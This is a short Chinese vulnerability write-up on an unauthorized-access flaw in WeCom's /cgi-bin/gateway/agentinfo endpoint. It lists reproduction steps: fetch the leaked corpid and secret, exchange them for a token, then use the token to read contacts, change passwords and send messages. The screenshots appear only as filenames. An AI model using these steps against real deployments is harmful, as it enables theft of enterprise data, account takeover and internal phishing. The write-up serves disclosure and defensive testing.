企业微信接口未授权访问漏洞

一、漏洞简介

企业微信/cgi-bin/gateway/agentinfo接口未授权情况下可直接获取企业微信secret等敏感信息，可导致企业微信全量数据被获取，文件获取、使用企业微信轻应用对内利用发送钓鱼文件和链接等风险。

二、影响版本

三、资产测绘

1691831077389-ecf0d266-1973-476d-bf80-28bd79c62d0b.png

1691831352586-b9e544cc-78cf-4feb-9071-83176a213f2b.png

四、漏洞复现

  1. 通过泄露信息接口可以获取corpid和corpsecret
https://<企业微信域名>/cgi-bin/gateway/agentinfo

1691831388927-6404a99b-4034-461e-a122-4b378f76f340.png

  1. 使用corpsecret和corpid获得token，其中corpid为上图中strcorpid、corpsecret为上图中Secret
https://<企业微信域名>/cgi-bin/gettoken?corpid=ID&corpsecret=SECRET

1691831554361-cc7d1845-d373-4ee1-8c7f-5766106c7504.png

  1. 使用token访问诸如企业通讯录信息，修改用户密码，发送消息，云盘等接口

    具体利用查看企业微信开发者中心文档

1691832111634-97ade7db-7f46-4771-ba7b-0b02cd26253c.png

更新: 2024-02-29 23:58:31
原文: https://www.yuque.com/xiaokp7/ocvun2/gb52tl24nioiceab